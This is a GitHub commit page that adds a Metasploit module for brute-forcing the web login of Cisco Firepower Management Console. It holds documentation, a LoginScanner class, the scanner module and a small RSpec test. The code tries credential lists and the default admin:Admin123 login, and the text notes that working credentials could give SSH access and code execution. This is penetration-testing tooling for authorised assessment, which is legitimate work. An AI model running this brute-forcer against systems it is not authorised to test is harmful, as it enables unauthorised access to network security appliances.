Skip to content

Commit a687073

Browse files
committed
Add Cisco Firepower Management Console LoginScanner
1 parent 56ed8bc commit a687073

File tree

4 files changed

+255
-0
lines changed

4 files changed

+255
-0
lines changed
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
This module allows you to authenticate to Cisco Firepower Management console. The found credentials
2+
could also be used in Cisco Firepower's SSH service, which would potentially give you remote code
3+
execution.
4+
5+
## Vulnerable Application
6+
7+
The vulnerable software can be downloaded from Cisco as long as you are a member. Specifically,
8+
this module was testing on version 6.0.1 during development.
9+
10+
11+
For Cisco members, get the virtual appliance 6.0.1-2013. here.
12+
13+
14+
## Verification Steps
15+
16+
1. Make sure Pro Cisco is running
17+
2. Start ```msfconsole```
18+
3. ```use auxiliary/scanner/http/cisco_firepower_login.rb
19+
4. ```set RHOSTS [IP]```
20+
5. Set credentials
21+
6. ```run```
22+
7. You should see that the module is attempting to log in.
23+
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
require 'metasploit/framework/login_scanner/http'
2+
require 'digest'
3+
4+
module Metasploit
5+
module Framework
6+
module LoginScanner
7+
8+
class CiscoFirepower < HTTP
9+
10+
DEFAULT_PORT = 443
11+
PRIVATE_TYPES = [ :password ]
12+
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
13+
14+
def check_setup
15+
res = send_request({
16+
'method' => 'GET',
17+
'uri' => normalize_uri("#{uri}login.cgi")
18+
})
19+
20+
if res && res.code == 200 && res.body.include?('/img/favicon.png?v=6.0.1-1213')
21+
return true
22+
end
23+
24+
false
25+
end
26+
27+
def do_login(cred)
28+
console_user = cred.public
29+
console_pass = cred.private
30+
31+
res = send_request({
32+
'method' => 'POST',
33+
'uri' => normalize_uri("#{uri}login.cgi"),
34+
'vars_post' => {
35+
'username' => console_user,
36+
'password' => console_pass,
37+
'target' => ''
38+
}
39+
})
40+
41+
unless res
42+
return {status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: 'Connection timed out for login.cig'}
43+
end
44+
45+
if res.code == 302 && res.get_cookies.include?('CGISESSID')
46+
return {status: LOGIN_STATUS::SUCCESSFUL, proof: res.body}
47+
end
48+
49+
{status: LOGIN_STATUS::INCORRECT, proof: res.body}
50+
end
51+
52+
# Attempts to login to Cisco. This is called first.
53+
#
54+
# @param credential [Metasploit::Framework::Credential] The credential object
55+
# @return [Result] A Result object indicating success or failure
56+
def attempt_login(credential)
57+
result_opts = {
58+
credential: credential,
59+
status: Metasploit::Model::Login::Status::INCORRECT,
60+
proof: nil,
61+
host: host,
62+
port: port,
63+
protocol: 'tcp'
64+
}
65+
66+
begin
67+
result_opts.merge!(do_login(credential))
68+
rescue ::Rex::ConnectionError => e
69+
# Something went wrong during login. 'e' knows what's up.
70+
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
71+
end
72+
73+
Result.new(result_opts)
74+
end
75+
76+
end
77+
end
78+
end
79+
end
80+
Lines changed: 144 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,144 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'metasploit/framework/login_scanner/cisco_firepower'
8+
require 'metasploit/framework/credential_collection'
9+
10+
class MetasploitModule < Msf::Auxiliary
11+
12+
include Msf::Exploit::Remote::HttpClient
13+
include Msf::Auxiliary::AuthBrute
14+
include Msf::Auxiliary::Report
15+
include Msf::Auxiliary::Scanner
16+
17+
def initialize(info={})
18+
super(update_info(info,
19+
'Name' => 'Cisco Firepower Management Console 6.0 Login',
20+
'Description' => %q{
21+
This module will attempt to authenticate to a Cisco Firepower Management console via HTTPS.
22+
The credentials are also used for SSH, which would potentially give you remote code
23+
execution.
24+
},
25+
'Author' => [ 'sinn3r' ],
26+
'License' => MSF_LICENSE,
27+
'DefaultOptions' =>
28+
{
29+
'RPORT' => 443,
30+
'SSL' => true,
31+
'SSLVersion' => 'Auto'
32+
}
33+
))
34+
35+
register_options(
36+
[
37+
OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),
38+
OptBool.new('TRYDEFAULT', [false, 'Try the default credential admin:Admin123', false])
39+
], self.class)
40+
end
41+
42+
43+
def scanner(ip)
44+
@scanner ||= lambda {
45+
cred_collection = Metasploit::Framework::CredentialCollection.new(
46+
blank_passwords: datastore['BLANK_PASSWORDS'],
47+
pass_file: datastore['PASS_FILE'],
48+
password: datastore['PASSWORD'],
49+
user_file: datastore['USER_FILE'],
50+
userpass_file: datastore['USERPASS_FILE'],
51+
username: datastore['USERNAME'],
52+
user_as_pass: datastore['USER_AS_PASS']
53+
)
54+
55+
if datastore['TRYDEFAULT']
56+
print_status("Default credential admin:Admin123 added to the credential queue for testing.")
57+
cred_collection.add_public('admin')
58+
cred_collection.add_private('Admin123')
59+
end
60+
61+
return Metasploit::Framework::LoginScanner::CiscoFirepower.new(
62+
configure_http_login_scanner(
63+
host: ip,
64+
port: datastore['RPORT'],
65+
cred_details: cred_collection,
66+
stop_on_success: datastore['STOP_ON_SUCCESS'],
67+
bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
68+
connection_timeout: 5,
69+
http_username: datastore['HttpUsername'],
70+
http_password: datastore['HttpPassword'],
71+
uri: target_uri.path
72+
))
73+
}.call
74+
end
75+
76+
77+
def report_good_cred(ip, port, result)
78+
service_data = {
79+
address: ip,
80+
port: port,
81+
service_name: 'http',
82+
protocol: 'tcp',
83+
workspace_id: myworkspace_id
84+
}
85+
86+
credential_data = {
87+
module_fullname: self.fullname,
88+
origin_type: :service,
89+
private_data: result.credential.private,
90+
private_type: :password,
91+
username: result.credential.public,
92+
}.merge(service_data)
93+
94+
login_data = {
95+
core: create_credential(credential_data),
96+
last_attempted_at: DateTime.now,
97+
status: result.status,
98+
proof: result.proof
99+
}.merge(service_data)
100+
101+
create_credential_login(login_data)
102+
end
103+
104+
105+
def report_bad_cred(ip, rport, result)
106+
invalidate_login(
107+
address: ip,
108+
port: rport,
109+
protocol: 'tcp',
110+
public: result.credential.public,
111+
private: result.credential.private,
112+
realm_key: result.credential.realm_key,
113+
realm_value: result.credential.realm,
114+
status: result.status,
115+
proof: result.proof
116+
)
117+
end
118+
119+
def bruteforce(ip)
120+
scanner(ip).scan! do |result|
121+
case result.status
122+
when Metasploit::Model::Login::Status::SUCCESSFUL
123+
print_brute(:level => :good, :ip => ip, :msg => "Success: '#{result.credential}'")
124+
report_good_cred(ip, rport, result)
125+
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
126+
vprint_brute(:level => :verror, :ip => ip, :msg => result.proof)
127+
report_bad_cred(ip, rport, result)
128+
when Metasploit::Model::Login::Status::INCORRECT
129+
vprint_brute(:level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'")
130+
report_bad_cred(ip, rport, result)
131+
end
132+
end
133+
end
134+
135+
def run_host(ip)
136+
unless scanner(ip).check_setup
137+
print_brute(:level => :error, :ip => ip, :msg => 'Target is not Cisco Firepower Management console.')
138+
return
139+
end
140+
141+
bruteforce(ip)
142+
end
143+
144+
end
Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
require 'metasploit/framework/login_scanner/cisco_firepower'
2+
3+
RSpec.describe Metasploit::Framework::LoginScanner::CiscoFirepower do
4+
5+
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
6+
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
7+
8+
end

0 commit comments

Comments
 (0)